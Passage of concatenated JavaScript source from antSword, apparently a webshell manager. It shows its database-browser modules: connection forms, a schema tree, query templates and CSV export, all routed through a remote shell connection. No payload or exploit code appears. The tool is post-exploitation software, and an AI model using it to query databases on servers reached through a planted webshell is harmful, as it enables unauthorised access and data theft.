form.attachEvent('onChange', (_, id) => { if (_ !== 'type') { return }; form.setFormData({ conn: this.conns[id] }); }); // toolbar.attachEvent('onClick', (id) => { switch (id) { case 'clear': form.clear(); break; case 'edit': if (!form.validate()) { // return ''; return toastr.warning(LANG['form']['warning'], LANG_T['warning']); }; // let data = form.getValues(); // () const id = antSword['ipcRenderer'].sendSync('shell-editDataConf', { _id: this.manager.opt['_id'], id: this .tree .getSelected() .split('::')[1], data: data }); win.close(); toastr.success(LANG['form']['success'], LANG_T['success']); // UI this.parse(); break; case 'test': if (!form.validate()) { return toastr.warning(LANG['form']['warning'], LANG_T['warning']); }; // let _data = form.getValues(); console.log(_data); win.progressOn(); this .core .request(this.core[`database_${_data['type']}`].show_databases({ conn: _data['conn'] })) .then((res) => { if (res['text'].length > 0) { if (res['text'].indexOf("ERROR://") > -1) { throw res["text"]; } toastr.success(LANG['form']['test_success'], LANG_T['success']); } else { toastr.warning(LANG['form']['test_warning'], LANG_T['warning']); } win.progressOff(); }) .catch((err) => { win.progressOff(); toastr.error(JSON.stringify(err), LANG_T['error']); }); break; } }); } // delConf() { const id = this .tree .getSelected() .split('::')[1]; layer.confirm(LANG['form']['del']['confirm'], { icon: 2, shift: 6, title: LANG['form']['del']['title'] }, (_) => { layer.close(_); const ret = antSword['ipcRenderer'].sendSync('shell-delDataConf', { _id: this.manager.opt['_id'], id: id }); if (ret === 1) { toastr.success(LANG['form']['del']['success'], LANG_T['success']); this .tree .deleteItem(`conn::${id}`); // this.disableToolbar(); this.disableEditor(); // ['edit', 'del'].map(this.toolbar::this.toolbar.disableItem); this.parse(); } else { toastr.error(LANG['form']['del']['error'](ret), LANG_T['error']); } }); } // getDatabases(id) { this.manager.list.layout.progressOn(); // const conf = antSword['ipcRenderer'].sendSync('shell-getDataConf', { _id: this.manager.opt['_id'], id: id }); this .core .request(this.core[`database_${conf['type']}`].show_databases({ conn: conf['conn'], encode: this.manager.opt.encode, db: ['access', 'microsoft_jet_oledb_4_0'].indexOf(conf['type']) > -1 ? conf['conn'].match(/[\w]+.mdb$/) : 'database' })) .then((res) => { let ret = res['text']; if (ret.indexOf("ERROR://") > -1) { throw ret; } const arr = ret.split('\t'); if (arr.length === 1 && ret === '') { toastr.warning(LANG['result']['warning'], LANG_T['warning']) return this .manager .list .layout .progressOff(); }; // this.tree.deleteChildItems(`conn::${id}`); // arr.map((_) => { if (!_) { return }; const _db = Buffer.from(antSword.unxss(_)).toString('base64'); this.tree.insertNewItem(`conn::${id}`, `database::${id}:${_db}`, _, null, this.manager.list.imgs[1], this.manager.list.imgs[1], this.manager.list.imgs[1]); }); this .manager .list .layout .progressOff(); }) .catch((err) => { toastr.error(LANG['result']['error']['database'](err['status'] || JSON.stringify(err)), LANG_T['error']); this .manager .list .layout .progressOff(); }); } // getTables(id, db) { this .manager .list .layout .progressOn(); // const conf = antSword['ipcRenderer'].sendSync('shell-getDataConf', { _id: this.manager.opt['_id'], id: id }); this .core .request(this.core[`database_${conf['type']}`].show_tables({ conn: conf['conn'], encode: this.manager.opt.encode, db: db })) .then((res) => { let ret = res['text']; if (ret.indexOf("ERROR://") > -1) { throw ret; } const arr = ret.split('\t'); const _db = Buffer.from(db).toString('base64'); // this.tree.deleteChildItems(`database::${id}:${_db}`); // arr.map((_) => { if (!_) { return }; const _table = Buffer .from(antSword.unxss(_)) .toString('base64'); this .tree .insertNewItem(`database::${id}:${_db}`, `table::${id}:${_db}:${_table}`, _, null, this.manager.list.imgs[2], this.manager.list.imgs[2], this.manager.list.imgs[2]); }); this .manager .list .layout .progressOff(); }) .catch((err) => { toastr.error(LANG['result']['error']['table'](err['status'] || JSON.stringify(err)), LANG_T['error']); this .manager .list .layout .progressOff(); }); } // getColumns(id, db, table) { this.manager.list.layout.progressOn(); // const conf = antSword['ipcRenderer'].sendSync('shell-getDataConf', { _id: this.manager.opt['_id'], id: id }); this .core .request(this.core[`database_${conf['type']}`].show_columns({ conn: conf['conn'], encode: this.manager.opt.encode, db: db, table: table })) .then((res) => { let ret = res['text']; if (ret.indexOf("ERROR://") > -1) { throw ret; } const arr = ret.split('\t'); const _db = Buffer.from(db).toString('base64'); const _table = Buffer.from(table).toString('base64'); // this.tree.deleteChildItems(`table::${id}:${_db}:${_table}`); // arr.map((_) => { if (!_) { return }; _ = antSword.unxss(_, false); const _column = Buffer.from(_.substr(0, _.lastIndexOf(' '))).toString('base64'); this.tree.insertNewItem( `table::${id}:${_db}:${_table}`, `column::${id}:${_db}:${_table}:${_column}`, antSword.noxss(_), null, this.manager.list.imgs[3], this.manager.list.imgs[3], this.manager.list.imgs[3] ); }); let presql = ""; switch (this.dbconf['type']) { case 'sqlserver_odbc': case 'sqlserver_sqlclient': presql = `SELECT TOP 20 * from [${table}] ORDER BY 1 DESC;`; break; case 'oracle': case 'oracle_oci8': presql = `SELECT * FROM ${db}.${table} WHERE ROWNUM < 20 ORDER BY 1`; break; case 'postgresql': case 'postgresql_pdo': presql = `SELECT * FROM ${table} ORDER BY 1 DESC LIMIT 20 OFFSET 0;`; break; case 'sqlite3': case 'sqlite_pdo': presql = `SELECT * FROM "${db}"."${table}" ORDER BY 1 DESC limit 0,20;`; break; default: presql = `SELECT * FROM \`${table}\` ORDER BY 1 DESC LIMIT 0,20;`; break; } // SQL this.manager.query.editor.session.setValue(presql); this.manager.list.layout.progressOff(); }) .catch((err) => { toastr.error(LANG['result']['error']['column'](err['status'] || JSON.stringify(err)), LANG_T['error']); this.manager.list.layout.progressOff(); }); } // SQL execSQL(sql) { this.manager.query.layout.progressOn(); this .core .request(this.core[`database_${this.dbconf['type']}`].query({ conn: this.dbconf['conn'], encode: this.manager.opt.encode, db: this.dbconf['database'], sql: sql })) .then((res) => { let ret = res['text']; if (ret.indexOf("ERROR://") > -1) { throw ret; } // this.updateResult(ret); this.manager.query.layout.progressOff(); }) .catch((err) => { toastr.error(LANG['result']['error']['query'](err['status'] || JSON.stringify(err)), LANG_T['error']); this.manager.query.layout.progressOff(); }); } // SQL updateResult(data) { console.log(data); // 1. const arr = data.split('\n'); // 2. if (arr.length < 2) { return toastr.error(LANG['result']['error']['parse'], LANG_T['error']); }; // 3. let header_arr = (arr[0]).replace(/,/g, '&#44;').split('\t|\t'); if (header_arr.length === 1) { return toastr.warning(LANG['result']['error']['noresult'], LANG_T['warning']); }; if (header_arr[header_arr.length - 1] === '\r') { header_arr.pop(); }; arr.shift(); // 4. let data_arr = []; arr.map((_) => { let _data = _.split('\t|\t'); for (let i = 0; i < _data.length; i++) { // _data[i] = antSword.noxss(new Buffer(_data[i], "base64").toString(), false); let buff = new Buffer.from(_data[i], "base64"); let encoding = Decodes.detectEncoding(buff, { defaultEncoding: "unknown" }); if (encoding == "unknown") { switch (this.dbconf['type']) { case 'sqlsrv': var sqlsrv_conncs_mapping = { 'utf-8': 'utf8', 'char': '', } encoding = sqlsrv_conncs_mapping[this.dbconf['encode']] || ''; break; case 'oracle_oci8': var oci8_characterset_mapping = { 'UTF8': 'utf8', 'ZHS16GBK': 'gbk', 'ZHT16BIG5': 'big5', 'ZHS16GBKFIXED': 'gbk', 'ZHT16BIG5FIXED': 'big5', } encoding = oci8_characterset_mapping[this.dbconf['encode']] || ''; break; default: encoding = this.dbconf['encode'] || ''; break; } } encoding = encoding != "" ? encoding : this.opt.core.__opts__['encode']; let text = Decodes.decode(buff, encoding); _data[i] = antSword.noxss(text, false); } data_arr.push(_data); }); data_arr.pop(); // 5. const grid = this.manager.result.layout.attachGrid(); grid.clearAll(); grid.setHeader(header_arr.join(',').replace(/,$/, '')); grid.setColTypes("txt,".repeat(header_arr.length).replace(/,$/, '')); grid.setColSorting(('str,'.repeat(header_arr.length)).replace(/,$/, '')); grid.setColumnMinWidth(100, header_arr.length - 1); grid.setInitWidths(("100,".repeat(header_arr.length - 1)) + "*"); grid.setEditable(true); grid.init(); // let grid_data = []; for (let i = 0; i < data_arr.length; i++) { grid_data.push({ id: i + 1, data: data_arr[i] }); } grid.parse({ 'rows': grid_data }, 'json'); // this.manager.result.toolbar[grid_data.length > 0 ? 'enableItem' : 'disableItem']('dump'); } // dumpResult() { const grid = this .manager .result .layout .getAttachedObject(); let filename = `${this .core .__opts__ .ip}_${new Date() .format("yyyyMMddhhmmss")}.csv`; dialog.showSaveDialog({ title: LANG['result']['dump']['title'], defaultPath: filename }, (filePath) => { if (!filePath) { return; }; let headerStr = grid .hdrLabels .join(','); let dataStr = grid.serializeToCSV(); let tempDataBuffer = Buffer.from(headerStr + '\n' + dataStr); fs.writeFileSync(filePath, tempDataBuffer); toastr.success(LANG['result']['dump']['success'], LANG_T['success']); }); } // toolbar disableToolbar() { this .manager .list .toolbar .disableItem('del'); this .manager .list .toolbar .disableItem('edit'); this .manager .result .toolbar .disableItem('dump'); } // toolbar enableToolbar() { this .manager .list .toolbar .enableItem('del'); this .manager .list .toolbar .enableItem('edit'); } // SQL disableEditor() { ['exec', 'clear'].map(this.manager.query.toolbar.disableItem.bind(this.manager.query.toolbar)); this .manager .query .editor .setReadOnly(true); } // SQL enableEditor() { ['exec', 'clear'].map(this.manager.query.toolbar.enableItem.bind(this.manager.query.toolbar)); this .manager .query .editor .setReadOnly(false); } } module.exports = PSWINDOWS; ```
/content/code_sandbox/source/modules/database/pswindows/index.js
javascript
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
6,186
```javascript // // ::ASPX // module.exports = require('../asp/index'); ```
/content/code_sandbox/source/modules/database/aspx/index.js
javascript
2016-03-11T09:28:00
2024-08-16T17:55:54
antSword
AntSwordProject/antSword
3,579
16
```javascript // // ::PHP // :mysql,mssql,oracle,informix // const LANG = antSword['language']['database']; const LANG_T = antSword['language']['toastr']; const dialog = antSword.remote.dialog; const fs = require('fs'); const Decodes = antSword.Decodes; class PHP { constructor(opt) { this.opt = opt; this.core = this.opt.core; this.manager = this.opt.super; // 1. TREE UI this.tree = this.manager.list.layout.attachTree(); // 2. this.parse(); // 3. tree::&& this.tree.attachEvent('onClick', (id) => { // id.startsWith('conn::') ? this.enableToolbar() : this.disableToolbar(); // const tmp = id.split('::'); const arr = tmp[1].split(':'); // this.dbconf = antSword['ipcRenderer'].sendSync('shell-getDataConf', { _id: this.manager.opt['_id'], id: arr[0] }); if (arr.length > 1) { this.dbconf['database'] = Buffer.from(arr[1], 'base64').toString(); // SQL this.enableEditor(); // manager.query.update(this.currentConf); }else{ this.disableEditor(); } }); // 4. tree::// this.tree.attachEvent('onDblClick', (id) => { const arr = id.split('::'); if (arr.length < 2) { throw new Error('ID ERR: ' + id) }; switch(arr[0]) { // case 'conn': this.getDatabases(arr[1]); break; // case 'database': let _db = arr[1].split(':'); this.getTables( _db[0], Buffer.from(_db[1], 'base64').toString() ); break; // case 'table': let _tb = arr[1].split(':'); this.getColumns( _tb[0], Buffer.from(_tb[1], 'base64').toString(), Buffer.from(_tb[2], 'base64').toString() ); break; // SQL case 'column': let _co = arr[1].split(':'); const db = new Buffer.from(_co[1], 'base64').toString(); const table = new Buffer.from(_co[2], 'base64').toString(); const column = new Buffer.from(_co[3], 'base64').toString(); let sql = ""; switch(this.dbconf['type']){ case 'mssql': case 'sqlsrv': sql = `SELECT TOP 20 [${column}] FROM [${table}] ORDER BY 1 DESC;`; break; case 'oracle': case 'oracle_oci8': sql = `SELECT ${column} FROM ${db}.${table} WHERE ROWNUM < 20 ORDER BY 1`; break; case 'postgresql': case 'postgresql_pdo': sql = `SELECT ${column} FROM ${table} ORDER BY 1 DESC LIMIT 20 OFFSET 0;`; break; default: sql = `SELECT \`${column}\` FROM \`${table}\` ORDER BY 1 DESC LIMIT 0,20;`; break; } this.manager.query.editor.session.setValue(sql); break; } }); // 5. tree:: this.tree.attachEvent('onRightClick', (id, event) => { this.tree.selectItem(id); const arr = id.split('::'); if (arr.length < 2) { throw new Error('ID ERR: ' + id) }; switch(arr[0]) { case 'conn': this.tree.callEvent('onClick', [id]); bmenu([ { text: LANG['list']['menu']['adddb'], icon: 'fa fa-plus-circle', action: this.addDatabase.bind(this) }, { text: LANG['list']['menu']['add'], icon: 'fa fa-plus-circle', action: this.addConf.bind(this) }, { divider: true }, { text: LANG['list']['menu']['edit'], icon: 'fa fa-edit', action: this.editConf.bind(this) }, { divider: true }, { text: LANG['list']['menu']['del'], icon: 'fa fa-remove', action: this.delConf.bind(this) } ], event); break; case 'database': this.tree.callEvent('onClick', [id]); bmenu([ { text: LANG['list']['menu']['addtable'], icon: 'fa fa-plus-circle', action: this.addTable.bind(this) }, { text: LANG['list']['menu']['adddb'], icon: 'fa fa-plus-circle', action: this.addDatabase.bind(this) }, { divider: true }, { text: LANG['list']['menu']['editdb'], icon: 'fa fa-edit', action: this.editDatabase.bind(this) }, { divider: true }, { text: LANG['list']['menu']['deldb'], icon: 'fa fa-remove', action: this.delDatabase.bind(this) } ], event); break; case 'table': this.tree.callEvent('onClick', [id]); bmenu([ { text: LANG['list']['menu']['addtable'], icon: 'fa fa-plus-circle', action: this.addTable.bind(this) }, { divider: true }, { text: LANG['list']['menu']['desctable'], icon: 'fa fa-table', action: this.descTable.bind(this) }, { text: LANG['list']['menu']['showcreatetable'], icon: 'fa fa-info', action: this.showcreateTable.bind(this) }, { text: LANG['list']['menu']['edittable'], icon: 'fa fa-edit', action: this.editTable.bind(this) }, { divider: true }, { text: LANG['list']['menu']['deltable'], icon: 'fa fa-remove', action: this.delTable.bind(this) } ], event); break; case 'column': this.tree.callEvent('onClick', [id]); bmenu([ { text: LANG['list']['menu']['editcolumn'], icon: 'fa fa-edit', action: this.editColumn.bind(this) }, { text: LANG['list']['menu']['delcolumn'], icon: 'fa fa-remove', action: this.delColumn.bind(this) }, ], event); break; } // if (id.startsWith('conn::')) { // this.tree.callEvent('onClick', [id]); // bmenu([ // { // text: LANG['list']['menu']['add'], // icon: 'fa fa-plus-circle', // action: this.addConf.bind(this) // }, { // divider: true // }, { // text: LANG['list']['menu']['edit'], // icon: 'fa fa-edit', // action: this.editConf.bind(this) // }, { // divider: true // }, { // text: LANG['list']['menu']['del'], // icon: 'fa fa-remove', // action: this.delConf.bind(this) // } // ], event); // }; }); // mysql column type // TODO: // 1. column default value // 2. character set // 3. unsigned this.mysqlcolumntypes = [ "tinyint", "smallint", "mediumint", "int", "integer", "bigint", "float", "double", "date", "time", "year", "datetime", "timestamp", "char", "varchar", "tinytext", "blob", "text", "mediumblob", "mediumtext", "longblob", "longtext" ]; // mysql character set mapping this.mysqlcsMapping = { 'default': ['default'], 'utf8': [ "utf8_general_ci","utf8_bin","utf8_unicode_ci","utf8_icelandic_ci","utf8_latvian_ci","utf8_romanian_ci","utf8_slovenian_ci","utf8_polish_ci","utf8_estonian_ci","utf8_spanish_ci","utf8_swedish_ci","utf8_turkish_ci","utf8_czech_ci","utf8_danish_ci","utf8_lithuanian_ci","utf8_slovak_ci","utf8_spanish2_ci","utf8_roman_ci","utf8_persian_ci","utf8_esperanto_ci","utf8_hungarian_ci","utf8_sinhala_ci","utf8_general_mysql500_ci", ], 'big5': [ "big5_chinese_ci","big5_bin"], 'dec8': [ "dec8_swedish_ci","dec8_bin"], 'cp850': [ "cp850_general_ci","cp850_bin"], 'hp8': [ "hp8_general_ci","hp8_bin"], 'koi8r': [ "koi8_general_ci","koi8_bin"], 'latin1':[ "latin1_german1_ci","latin1_swedish_ci","latin1_danish_ci","latin1_german2_ci","latin1_bin","latin1_general_ci","latin1_general_cs","latin1_spanish_ci" ], 'latin2':[ "latin2_czech_cs","latin2_general_ci","latin2_hungarian_ci","latin2_croatian_ci","latin2_bin", ], 'ascii':[ "ascii_general_ci","ascii_bin" ], 'euckr':[ "euckr_korean_ci","euckr_bin" ], 'gb2312':[ "gb2312_chinese_ci","gb2312_bin"], 'gbk':[ "gbk_chinese_ci","gbk_bin"], 'utf8mb4': [ "utf8mb4_general_ci","utf8mb4_bin","utf8mb4_unicode_ci","utf8mb4_icelandic_ci","utf8mb4_latvian_ci","utf8mb4_romanian_ci","utf8mb4_slovenian_ci","utf8mb4_polish_ci","utf8mb4_estonian_ci","utf8mb4_spanish_ci","utf8mb4_swedish_ci","utf8mb4_turkish_ci","utf8mb4_czech_ci","utf8mb4_danish_ci","utf8mb4_lithuanian_ci","utf8mb4_slovak_ci","utf8mb4_spanish2_ci","utf8mb4_roman_ci","utf8mb4_persian_ci","utf8mb4_esperanto_ci","utf8mb4_hungarian_ci","utf8mb4_sinhala_ci", ], 'utf16': [ "utf16_general_ci","utf16_bin","utf16_unicode_ci","utf16_icelandic_ci","utf16_latvian_ci","utf16_romanian_ci","utf16_slovenian_ci","utf16_polish_ci","utf16_estonian_ci","utf16_spanish_ci","utf16_swedish_ci","utf16_turkish_ci","utf16_czech_ci","utf16_danish_ci","utf16_lithuanian_ci","utf16_slovak_ci","utf16_spanish2_ci","utf16_roman_ci","utf16_persian_ci","utf16_esperanto_ci","utf16_hungarian_ci","utf16_sinhala_ci", ], }; this.encode_mapping = { 'mysql': ['utf8', 'big5', 'dec8', 'cp850', 'hp8', 'koi8r', 'latin1', 'latin2', 'ascii', 'euckr', 'gb2312', 'gbk'], 'mysqli': ['utf8', 'big5', 'dec8', 'cp850', 'hp8', 'koi8r', 'latin1', 'latin2', 'ascii', 'euckr', 'gb2312', 'gbk'], 'mssql': ['utf8', 'big5', 'dec8', 'cp850', 'hp8', 'koi8r', 'latin1', 'latin2', 'ascii', 'euckr', 'gb2312', 'gbk'], 'sqlsrv': ['utf-8', 'char'], 'oracle': ['UTF8','ZHS16GBK','ZHT16BIG5','ZHS16GBKFIXED','ZHT16BIG5FIXED'], 'oracle_oci8': ['UTF8','ZHS16GBK','ZHT16BIG5','ZHS16GBKFIXED','ZHT16BIG5FIXED'], 'postgresql': ['utf8', 'big5', 'dec8', 'cp850', 'hp8', 'koi8r', 'latin1', 'latin2', 'ascii', 'euckr', 'gb2312', 'gbk'], 'postgresql_pdo': ['utf8', 'big5', 'dec8', 'cp850', 'hp8', 'koi8r', 'latin1', 'latin2', 'ascii', 'euckr', 'gb2312', 'gbk'], 'sqlite3': ['utf8'], 'sqlite_pdo': ['utf8'], 'informix': ['utf8', 'big5', 'dec8', 'cp850', 'hp8', 'koi8r', 'latin1', 'latin2', 'ascii', 'euckr', 'gb2312', 'gbk'], } } // parse() { // const info = antSword['ipcRenderer'].sendSync('shell-findOne', this.manager.opt['_id']); const conf = info['database'] || {}; // UI // 1. this.tree.deleteChildItems(0); // 2. let items = []; for (let _ in conf) { items.push({ id: `conn::${_}`, text: antSword.noxss(`${conf[_]['type']}:\/\/${conf[_]['user']}@${conf[_]['host']}`), im0: this.manager.list.imgs[0], im1: this.manager.list.imgs[0], im2: this.manager.list.imgs[0] }); } // 3.UI this.tree.parse({ id: 0, item: items }, 'json'); // this.disableToolbar(); this.disableEditor(); } // addConf() { const hash = (+new Date * Math.random()).toString(16).substr(2, 8); // const win = this.manager.win.createWindow(hash, 0, 0, 450, 300); win.setText(LANG['form']['title']); win.centerOnScreen(); win.button('minmax').hide(); win.setModal(true); win.denyResize(); // const toolbar = win.attachToolbar(); toolbar.loadStruct([{ id: 'add', type: 'button', icon: 'plus-circle', text: LANG['form']['toolbar']['add'] }, { type: 'separator' }, { id: 'clear', type: 'button', icon: 'remove', text: LANG['form']['toolbar']['clear'] }, { type: 'separator' }, { id: 'test', type: 'button', icon: 'spinner', text: LANG['form']['toolbar']['test'] }]); // form const form = win.attachForm([ { type: 'settings', position: 'label-left', labelWidth: 90, inputWidth: 250 }, { type: 'block', inputWidth: 'auto', offsetTop: 12, list: [ { type: 'combo', label: LANG['form']['type'], readonly: true, name: 'type', options: [ { text: 'MYSQL', value: 'mysql' }, { text: 'MYSQLI', value: 'mysqli' }, { text: 'MSSQL', value: 'mssql' }, { text: 'SQLSRV', value: 'sqlsrv' }, { text: 'ORACLE', value: 'oracle' }, { text: 'ORACLE_OCI8', value: 'oracle_oci8' }, { text: 'PostgreSQL', value: 'postgresql' }, { text: 'PostgreSQL_PDO', value: 'postgresql_pdo' }, { text: 'SQLite3', value: 'sqlite3' }, { text: 'SQLite_PDO', value: 'sqlite_pdo' }, { text: 'INFORMIX', value: 'informix' } ] }, { type: 'combo', label: LANG['form']['encode'], name: 'encode', options: ((c) => { let ret = []; this.encode_mapping[c].map((_)=>{ ret.push({ text: _, value: _ }); }); return ret; })("mysql")}, { type: 'input', label: LANG['form']['host'], name: 'host', required: true, value: 'localhost' }, { type: 'input', label: LANG['form']['user'], name: 'user', required: true, value: 'root' }, { type: 'input', label: LANG['form']['passwd'], name: 'passwd', value: '' } ]} ], true); form.attachEvent('onChange', (_, id) => { if (_ !== 'type') { return }; var encodecmb = form.getCombo("encode"); encodecmb.clearAll(); encodecmb.setComboValue(null); var ret = []; this.encode_mapping[id].map((_)=>{ ret.push({ text: _, value: _ }); }); encodecmb.addOption(ret); encodecmb.selectOption(0); switch(id) { case 'mysql': case 'mysqli': form.setFormData({ host: 'localhost:3306', user: 'root', passwd: '' }); break; case 'mssql': form.setFormData({ host: 'localhost,1433', user: 'sa', passwd: '' }); break; case 'sqlsrv': form.setFormData({ host: 'localhost', user: 'sa', passwd: '' }); break; case 'oracle_oci8': form.setFormData({ host: 'localhost/orcl', user: '', passwd: '', }) break; case 'postgresql': form.setFormData({ host: 'localhost:5432:postgres', user: 'postgres', passwd: '', }); break; case 'postgresql_pdo': form.setFormData({ host: 'localhost:5432:postgres', user: 'postgres', passwd: '', }); break; case 'sqlite3': case 'sqlite_pdo': form.setFormData({ host: '/var/www/html/test.db', user: '', passwd: '', }); break; default: form.setFormData({ user: 'dbuser', passwd: 'dbpwd' }); } }); // toolbar.attachEvent('onClick', (id) => { switch(id) { case 'clear': form.clear(); break; case 'add': if (!form.validate()) { return toastr.warning(LANG['form']['warning'], LANG_T['warning']); }; // let data = form.getValues(); // () const id = antSword['ipcRenderer'].sendSync('shell-addDataConf', { _id: this.manager.opt['_id'], data: data }); win.close(); toastr.success(LANG['form']['success'], LANG_T['success']); this.tree.insertNewItem(0, `conn::${id}`, `${data['type']}:\/\/${data['user']}@${data['host']}`, null, this.manager.list.imgs[0], this.manager.list.imgs[0], this.manager.list.imgs[0] ); break; case 'test': if (!form.validate()) { return toastr.warning(LANG['form']['warning'], LANG_T['warning']); }; // let _data = form.getValues(); win.progressOn(); this.core.request( this.core[`database_${_data['type']}`].show_databases({ host: _data['host'], user: _data['user'], passwd: _data['passwd'] }) ).then((res) => { if(res['text'].length > 0){ if(res['text'].indexOf("ERROR://") > -1) { throw res["text"]; } toastr.success(LANG['form']['test_success'], LANG_T['success']); }else{ toastr.warning(LANG['form']['test_warning'], LANG_T['warning']); } win.progressOff(); }).catch((err)=>{ win.progressOff(); toastr.error(JSON.stringify(err), LANG_T['error']); }); break; } }); } // editConf(){ const id = this.tree.getSelected().split('::')[1]; // const conf = antSword['ipcRenderer'].sendSync('shell-getDataConf', { _id: this.manager.opt['_id'], id: id }); const hash = (+new Date * Math.random()).toString(16).substr(2, 8); // const win = this.manager.win.createWindow(hash, 0, 0, 450, 300); win.setText(LANG['form']['title']); win.centerOnScreen(); win.button('minmax').hide(); win.setModal(true); win.denyResize(); // const toolbar = win.attachToolbar(); toolbar.loadStruct([{ id: 'edit', type: 'button', icon: 'edit', text: LANG['form']['toolbar']['edit'] }, { type: 'separator' }, { id: 'clear', type: 'button', icon: 'remove', text: LANG['form']['toolbar']['clear'] }, { type: 'separator' }, { id: 'test', type: 'button', icon: 'spinner', text: LANG['form']['toolbar']['test'] }]); // form const form = win.attachForm([ { type: 'settings', position: 'label-left', labelWidth: 90, inputWidth: 250 }, { type: 'block', inputWidth: 'auto', offsetTop: 12, list: [ { type: 'combo', label: LANG['form']['type'], readonly: true, name: 'type', options: [ { text: 'MYSQL', value: 'mysql', selected: conf['type'] === 'mysql' }, { text: 'MYSQLI', value: 'mysqli', selected: conf['type'] === 'mysqli' }, { text: 'MSSQL', value: 'mssql', selected: conf['type'] === 'mssql' }, { text: 'SQLSRV', value: 'sqlsrv', selected: conf['type'] === 'sqlsrv' }, { text: 'ORACLE', value: 'oracle', selected: conf['type'] === 'oracle' }, { text: 'ORACLE_OCI8', value: 'oracle_oci8', selected: conf['type'] === 'oracle_oci8' }, { text: 'PostgreSQL', value: 'postgresql', selected: conf['type'] === 'postgresql' }, { text: 'PostgreSQL_PDO', value: 'postgresql_pdo', selected: conf['type'] === 'postgresql_pdo' }, { text: 'SQLite3', value: 'sqlite3', selected: conf['type'] === 'sqlite3' }, { text: 'SQLite3_PDO', value: 'sqlite3', selected: conf['type'] === 'sqlite3_pdo' }, { text: 'INFORMIX', value: 'informix', selected: conf['type'] === 'informix' } ] }, { type: 'combo', label: LANG['form']['encode'], name: 'encode', options: ((c) => { let ret = []; this.encode_mapping[c].map((_)=>{ ret.push({ text: _, value: _, selected: conf['encode'] === _ }); }); return ret; })(conf["type"])}, { type: 'input', label: LANG['form']['host'], name: 'host', required: true, value: conf['host'] }, { type: 'input', label: LANG['form']['user'], name: 'user', required: true, value: conf['user'] }, { type: 'input', label: LANG['form']['passwd'], name: 'passwd', value: conf['passwd'] } ]} ], true); form.attachEvent('onChange', (_, id, state) => { if (_ == 'type') { var encodecmb = form.getCombo("encode"); encodecmb.clearAll(); encodecmb.setComboValue(null); var ret = []; this.encode_mapping[id].map((_)=>{ ret.push({ text: _, value: _, selected: conf['encode'] === _ }); }); encodecmb.addOption(ret); encodecmb.selectOption(this.encode_mapping[id].indexOf(conf['encode']) == -1 ? 0 : this.encode_mapping[id].indexOf(conf['encode'])); switch(id) { case 'mysql': case 'mysqli': form.setFormData({ // encode: conf['encode'], user: conf['user'], passwd: conf['passwd'] }); break; case 'mssql': form.setFormData({ // encode: conf['encode'], user: conf['user'], passwd: conf['passwd'] }); break; default: form.setFormData({ // encode: conf['encode'], user: conf['user'], passwd: conf['passwd'] }); } }; }); // toolbar.attachEvent('onClick', (id) => { switch(id) { case 'clear': form.clear(); break; case 'edit': if (!form.validate()) { return toastr.warning(LANG['form']['warning'], LANG_T['warning']); }; // let data = form.getValues(); // () const id = antSword['ipcRenderer'].sendSync('shell-editDataConf', { _id: this.manager.opt['_id'], id: this.tree.getSelected().split('::')[1], data: data }); win.close(); toastr.success(LANG['form']['success'], LANG_T['success']); // UI this.parse(); break; case 'test': if (!form.validate()) { return toastr.warning(LANG['form']['warning'], LANG_T['warning']); }; // let _data = form.getValues(); win.progressOn(); this.core.request( this.core[`database_${_data['type']}`].show_databases({ host: _data['host'], user: _data['user'], passwd: _data['passwd'] }) ).then((res) => { if(res['text'].length > 0){ if(res['text'].indexOf("ERROR://") > -1) { throw res["text"]; } toastr.success(LANG['form']['test_success'], LANG_T['success']); }else{ toastr.warning(LANG['form']['test_warning'], LANG_T['warning']); } win.progressOff(); }).catch((err)=>{ win.progressOff(); toastr.error(JSON.stringify(err), LANG_T['error']); }); break; } }); } // delConf() { const id = this.tree.getSelected().split('::')[1]; layer.confirm(LANG['form']['del']['confirm'], { icon: 2, shift: 6, title: LANG['form']['del']['title'] }, (_) => { layer.close(_); const ret = antSword['ipcRenderer'].sendSync('shell-delDataConf', { _id: this.manager.opt['_id'], id: id }); if (ret === 1) { toastr.success(LANG['form']['del']['success'], LANG_T['success']); this.tree.deleteItem(`conn::${id}`); // this.disableToolbar(); this.disableEditor(); // ['edit', 'del'].map(this.toolbar::this.toolbar.disableItem); // this.parse(); }else{ toastr.error(LANG['form']['del']['error'](ret), LANG_T['error']); } }); } // addDatabase() { const id = this.tree.getSelected().split('::')[1].split(":")[0]; // // // const conf = antSword['ipcRenderer'].sendSync('shell-getDataConf', { // _id: this.manager.opt['_id'], // id: id // }); const hash = (+new Date * Math.random()).toString(16).substr(2, 8); switch(this.dbconf['type']){ case "mysqli": case "mysql": // const win = this.manager.win.createWindow(hash, 0, 0, 450, 200); win.setText(LANG['form']['adddb']['title']); win.centerOnScreen(); win.button('minmax').hide(); win.setModal(true); win.denyResize(); // form const form = win.attachForm([ { type: 'settings', position: 'label-left', labelWidth: 90, inputWidth: 250 }, { type: 'block', inputWidth: 'auto', offsetTop: 12, list: [ { type: 'input', label: LANG['form']['adddb']['dbname'], name: 'dbname', value: "", required: true, validate:"ValidAplhaNumeric",}, { type: 'combo', label: LANG['form']['adddb']['characterset'], readonly:true, name: 'characterset', options: (() => { let ret = []; Object.keys(this.mysqlcsMapping).map((_) => { ret.push({ text: _, value: _, }); }) return ret; })() }, { type: 'combo', label: LANG['form']['adddb']['charactercollation'], readonly:true, name: 'charactercollation', options: ((c)=>{ let ret = []; this.mysqlcsMapping[c].map((_)=>{ ret.push({ text: _, value: _, }); }); return ret; })("default")}, { type: "block", name:"btnblock", className:"display: flex;flex-direction: row;align-items: right;",offsetLeft:150, list:[ { type:"button" , name:"createbtn", value: `<i class="fa fa-plus"></i> ${LANG['form']['adddb']['createbtn']}`}, {type: 'newcolumn', offset:20}, { type:"button" , name:"cancelbtn", value: `<i class="fa fa-ban"></i> ${LANG['form']['adddb']['cancelbtn']}`}, ]} ]} ], true); form.enableLiveValidation(true); // combo form.attachEvent("onChange",(_, id)=>{ if (_ == "characterset") { let collcombo = form.getCombo("charactercollation"); collcombo.clearAll(); collcombo.setComboValue(null); let ret = []; this.mysqlcsMapping[id].map((_)=>{ ret.push({ text: _, value: _, }); }); collcombo.addOption(ret); collcombo.selectOption(0); } }); form.attachEvent("onButtonClick", (btnid)=>{ switch(btnid){ case "createbtn": if(form.validate()==false){break;} let formvals = form.getValues(); let charset = formvals['characterset']=='default'? "": `DEFAULT CHARSET ${formvals['characterset']} COLLATE ${formvals['charactercollation']}`; let sql = `CREATE DATABASE IF NOT EXISTS ${formvals['dbname']} ${charset};` this.execSQLAsync(sql, (res, 